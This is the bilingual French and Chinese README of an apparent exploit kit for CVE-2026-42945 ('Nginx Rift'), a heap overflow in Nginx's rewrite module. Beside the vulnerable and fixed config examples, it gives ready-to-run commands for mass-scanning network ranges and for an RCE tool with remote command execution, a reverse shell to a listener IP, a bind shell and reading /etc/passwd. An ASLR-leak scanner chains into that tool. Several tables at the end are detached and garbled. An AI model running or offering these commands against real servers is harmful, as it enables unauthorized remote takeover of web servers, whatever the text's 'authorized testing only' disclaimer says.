
CVE-2026-42945 Nginx Rift
Un kit complet de preuve de concept pour CVE-2026-42945 (Nginx Rift), une vulnérabilité critique de débordement de tas (heap buffer overflow) dans le module ngx_http_rewrite_module de Nginx.
| Champ | Détails |
|---|---|
| Identifiant CVE | CVE-2026-42945 |
| Nom | Nginx Rift |
| Type | Débordement de tas |
| Composant | ngx_http_rewrite_module |
| Sévérité | Critique (CVSS 9.2) |
| Versions affectées | Nginx 0.6.27 - 1.30.0 |
| Correction | Nginx 1.30.1 / 1.31.0 |
La vulnérabilité provient d’une erreur de calcul de taille entre deux passes internes lors du traitement des règles de réécriture (rewrite). Si une configuration utilise :
$1, $2, etc.)?Nginx calcule mal la taille du tampon nécessaire lors de la première passe et écrit au‑delà du tampon alloué sur le tas lors de la seconde passe.
server {
# VULNÉRABLE : capture anonyme ($1) + '?' dans le remplacement
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# SÛRE : capture nommée (?P<path>) remplace $1
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py – Outil PoC principalOutil de scanner et d’exploitation pour une cible unique.
Fonctionnalités :
ServerUtilisation :
# Détecter la version et tester la vulnérabilité
python nginx_rift_poc.py -t cible.example.com
# Tester avec une charge personnalisée
python nginx_rift_poc.py -t cible.example.com -p "/api/AAAA...?x=1"
# Cible HTTPS
python nginx_rift_poc.py -t cible.example.com --ssl -p 443
# Générer une configuration de test vulnérable
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# Générer une configuration sûre (corrigée)
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py – Scanner de masseScanner par lots pour tester plusieurs cibles simultanément.
Fonctionnalités :
Utilisation :
# Scanner à partir d’un fichier de cibles (format : hôte:port par ligne)
python nginx_rift_scanner.py -f cibles.txt -o resultats.json
# Scanner une seule cible
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# Scanner une plage réseau
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# Scan à haute vitesse
python nginx_rift_scanner.py -f cibles.txt --threads 100 -o resultats.json
Format du fichier de cibles :
# Les commentaires commencent par #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py – Analyseur de configurationAnalyse les fichiers de configuration Nginx locaux à la recherche de motifs de réécriture vulnérables.
Fonctionnalités :
nginx.conf et suivre les directives include? dans les chaînes de remplacementUtilisation :
# Analyser un seul fichier
python config_checker.py /etc/nginx/nginx.conf
# Analyser un répertoire récursivement
python config_checker.py -d /etc/nginx/conf.d/
# Correction automatique des motifs vulnérables (crée une sauvegarde .bak)
python config_checker.py --fix /etc/nginx/nginx.conf
# Détection automatique des chemins Nginx courants
python config_checker.py
enhanced_poc.py – PoC RCE amélioréOutil d’exploitation avancé basé sur la recherche officielle de depthfirst, prenant en charge plusieurs motifs de réécriture et modes d’exploitation.
Fonctionnalités :
/api/, /redirect/, /user/, etc.)+, &, =, %)cmd / shell / bind / readngx_pool_cleanup_sUtilisation :
# Détection automatique des motifs et de la version
python enhanced_poc.py -t cible.example.com --detect
# Exécuter une commande (ASLR désactivé)
python enhanced_poc.py -t cible.example.com --cmd "id > /tmp/pwned"
# Shell inversé
python enhanced_poc.py -t cible.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# Shell lié
python enhanced_poc.py -t cible.example.com --bind --listen-port 5555
# Lire un fichier distant
python enhanced_poc.py -t cible.example.com --read /etc/passwd
# Base heap personnalisée (pour cibles sans ASLR)
python enhanced_poc.py -t cible.example.com --cmd "whoami" --heap-base 0x555555554000
# Utiliser & comme déclencheur de débordement
python enhanced_poc.py -t cible.example.com --cmd "id" --escape-char "&"
Détails des modes d’exploitation :
Configuration des adresses (ASLR désactivé uniquement) :
--heap-base : Adresse de base du tas (ex. 0x555555559000)--libc-base : Adresse de base de libc (ex. 0x7ffff77ba000)--system-addr : Adresse directe de system() (remplace libc-base)aslr_leak_detector.py – Détecteur de fuites ASLRScanner complet pour détecter les fuites d’informations pouvant contourner la protection ASLR.
Fonctionnalités :
/nginx_status, /actuator/*, etc.)enhanced_poc.py via un rapport JSONUtilisation :
# Scanner une seule cible
python aslr_leak_detector.py -t cible.example.com
# Scanner avec SSL
python aslr_leak_detector.py -t cible.example.com -p 443 --ssl
# Scanner à partir d’un fichier, sauvegarder le rapport
python aslr_leak_detector.py -f cibles.txt -p 80,443 -o rapport_fuites.json
# Scanner une plage réseau
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# Mode scan rapide
python aslr_leak_detector.py -t cible.example.com --quick
Intégration avec le PoC amélioré :
# Étape 1 : Détecter les fuites
python aslr_leak_detector.py -t cible.example.com -o fuites.json
# Étape 2 : Utiliser les adresses obtenues pour l’exploitation
python enhanced_poc.py -t cible.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
L’outil PoC identifie la vulnérabilité à travers ces indicateurs :
| Indicateur | Description |
|---|
Aucune dépendance externe requise. Utilise uniquement la bibliothèque standard de Python.
# Cloner ou télécharger le kit
git clone <url-du-dépôt>
cd CVE-2026-42945
# Vérifier la version de Python (3.7+ recommandé)
python3 --version
# Exécuter n’importe quel outil
python3 nginx_rift_poc.py --help
Si la correction n’est pas possible immédiatement, remplacer les captures anonymes par des captures nommées :
# AVANT (VULNÉRABLE)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# APRÈS (SÛR)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
Déployer des règles WAF pour bloquer les requêtes malformées ciblant les motifs de réécriture vulnérables.
Ce kit est destiné uniquement aux tests de sécurité autorisés et à des fins de recherche.
Cette faille a été découverte avec trois autres problèmes de corruption mémoire :
| CVE | Description | Sévérité |
|---|---|---|
| CVE-2026-42946 | Défaut d’allocation mémoire SCGI/UWSGI | Élevée |
| CVE-2026-40701 | Use‑after‑free dans la résolution DNS pour OCSP | Moyenne |
| CVE-2026-42934 | Lecture hors limites lors du parsing UTF‑8 |
Ce projet est fourni à des fins éducatives et de tests de sécurité autorisés.
Auteur : Équipe de recherche en sécurité Date : 2026-06-11
CVE-2026-42945(Nginx Rift)是 Nginx ngx_http_rewrite_module 模块中的一个堆缓冲区溢出漏洞,自 2008 年(Nginx 0.6.27)就已存在,潜伏了约 18 年。
在处理 rewrite 规则时,Nginx 内部会进行两次解析。如果配置中同时满足以下两个条件:
$1、$2)? 字符Nginx 在第一遍解析时会错误计算缓冲区大小,在第二遍解析时写入超出堆缓冲区边界的数据,导致堆溢出。
server {
# 有漏洞:未命名捕获 $1 + 替换字符串中的 ?
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# 安全:使用命名捕获 (?P<name>) 替代 $1
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py — 核心 PoC 工具单目标漏洞检测与利用工具。
功能:
Server 响应头检测 Nginx 版本使用示例:
# 检测版本并测试漏洞
python nginx_rift_poc.py -t target.example.com
# 使用自定义 Payload 测试
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# HTTPS 目标
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# 生成脆弱测试配置
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# 生成安全(已修复)配置
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py — 批量扫描器多线程并发扫描多个目标。
功能:
使用示例:
# 从目标文件扫描(格式:每行 host:port)
python nginx_rift_scanner.py -f targets.txt -o results.json
# 扫描单个目标
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# 扫描整个网段
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# 高速扫描(100线程)
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
目标文件格式:
# 井号开头的行为注释
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py — 配置文件检查器扫描本地 Nginx 配置文件中的脆弱 rewrite 模式。
功能:
nginx.conf 并递归解析 include 引用的文件? 的 rewrite 指令使用示例:
# 扫描单个文件
python config_checker.py /etc/nginx/nginx.conf
# 递归扫描目录
python config_checker.py -d /etc/nginx/conf.d/
# 自动修复脆弱配置(自动备份原文件)
python config_checker.py --fix /etc/nginx/nginx.conf
# 自动探测常见 Nginx 配置路径
python config_checker.py
enhanced_poc.py — 增强版 RCE PoC基于 depthfirst 官方研究的高级漏洞利用工具,支持多种 rewrite 模式和利用方式。
功能:
/api/、/redirect/、/user/ 等)+、&、=、%)cmd / shell / bind / readngx_pool_cleanup_s溢出触发字符扩展表:
使用示例:
# 自动探测配置模式和版本
python enhanced_poc.py -t target.example.com --detect
# 执行命令(ASLR 关闭环境)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# 反弹 Shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# 绑定 Shell(在目标上监听)
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# 读取远程文件
python enhanced_poc.py -t target.example.com --read /etc/passwd
# 自定义堆基址
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# 使用 & 作为溢出触发字符
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
利用模式说明:
地址配置(仅 ASLR 关闭环境):
--heap-base: 目标堆基址(如 0x555555559000)--libc-base: libc 基址(如 0x7ffff77ba000)--system-addr: 直接指定 system() 地址aslr_leak_detector.py — ASLR 信息泄露检测工具综合扫描器,检测可用于绕过 ASLR 防护的信息泄露漏洞。
功能:
/nginx_status、/actuator/* 等)enhanced_poc.py 集成使用示例:
# 扫描单个目标
python aslr_leak_detector.py -t target.example.com
# SSL 扫描
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# 从文件批量扫描并保存报告
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# 扫描网段
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# 快速扫描
python aslr_leak_detector.py -t target.example.com --quick
与增强版 PoC 的联动使用:
# 步骤 1:检测信息泄露
python aslr_leak_detector.py -t target.example.com -o leak.json
# 步骤 2:使用泄露的地址进行利用
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
PoC 工具通过以下现象判断目标是否存在漏洞:
| 检测指标 | 说明 |
|---|---|
| 连接断开 | 目标异常关闭连接(Worker 进程崩溃) |
| 网关错误 | 返回 HTTP 502/503/504(Worker 进程已死) |
| 响应变慢 | 响应时间显著增加(进程崩溃后自动重启) |
| 空响应体 |
无需安装任何第三方依赖,仅使用 Python 标准库即可运行。
# 克隆或下载工具包
git clone <repository-url>
cd CVE-2026-42945
# 验证 Python 版本(推荐 3.7+)
python3 --version
# 查看工具帮助
python3 nginx_rift_poc.py --help
将未命名捕获替换为命名捕获:
# 修改前(有漏洞)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# 修改后(安全)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
部署 Web 应用防火墙规则,拦截针对脆弱 rewrite 模式的恶意请求。
本工具包仅供授权的安全测试和研究用途。
此漏洞是由 depthfirst 的 AI 驱动静态分析系统发现的一系列内存损坏问题之一:
| CVE 编号 | 描述 | 等级 |
|---|---|---|
| CVE-2026-42946 | SCGI/UWSGI 内存分配缺陷 | 高危 |
| CVE-2026-40701 | OCSP DNS 解析 UAF | 中危 |
| CVE-2026-42934 | UTF-8 解析越界读取 | 中危 |
本项目仅供教育用途和授权安全测试使用。
作者: Security Research Team 日期: 2026-06-11
| Mode | Description | Sortie |
|---|
cmd | Exécute une commande shell unique | Sortie de la commande sur la cible |
shell | Génère un shell inversé | Connexion vers --listen-ip:listen-port |
bind | Génère un shell lié sur la cible | Écoute sur --listen-port sur la cible |
read | Lit un fichier sur la cible | Contenu écrit dans /tmp/nginx_rift_read |
| Connexion abandonnée | La cible ferme la connexion de manière inattendue (crash du worker) |
| Erreurs de passerelle | Réponses HTTP 502/503/504 (processus worker mort) |
| Réponses lentes | Le temps de réponse augmente significativement (récupération après crash) |
| Réponses vides | Le corps de la réponse disparaît par rapport à la référence |
| Correspondance de version | La version détectée de Nginx est dans la plage vulnérable |
| Produit | Affectées | Corrigées |
|---|
| Nginx Open Source | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 |
| Nginx Plus | R32 - R36 | R32 P6 / R36 P4 |
| Nginx Ingress Controller | Toutes versions < correctifs | Mettre à jour vers la version corrigée |
| Nginx Gateway Fabric | Toutes versions < correctifs | Mettre à jour vers la version corrigée |
| Moyenne |
| 字段 | 详情 |
|---|
| CVE 编号 | CVE-2026-42945 |
| 漏洞名称 | Nginx Rift |
| 漏洞类型 | 堆缓冲区溢出(Heap Buffer Overflow) |
| 影响组件 | ngx_http_rewrite_module |
| 危害等级 | 严重(CVSS 9.2) |
| 影响版本 | Nginx 0.6.27 - 1.30.0 |
| 修复版本 | Nginx 1.30.1 / 1.31.0 |
| 字符 | 扩展为 | 每字符溢出 |
|---|
+ | %2B | +2 字节 |
& | %26 | +2 字节 |
= | %3D | +2 字节 |
% | %25 | +2 字节 |
| 空格 | %20 | +2 字节 |
| 模式 | 说明 | 输出 |
|---|
cmd | 执行单条 shell 命令 | 命令输出保存在目标上 |
shell | 生成反弹 shell | 连接回 --listen-ip:listen-port |
bind | 生成绑定 shell | 在目标 --listen-port 上监听 |
read | 读取目标文件 | 内容写入 /tmp/nginx_rift_read |
| 与基线对比,响应体为空(Worker 已崩溃) |
| 版本匹配 | 检测到的 Nginx 版本在脆弱范围内 |
| 产品 | 受影响版本 | 修复版本 |
|---|
| Nginx 开源版 | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 |
| Nginx Plus | R32 - R36 | R32 P6 / R36 P4 |
| Nginx Ingress Controller | 未打补丁的所有版本 | 更新到已修复版本 |
| Nginx Gateway Fabric | 未打补丁的所有版本 | 更新到已修复版本 |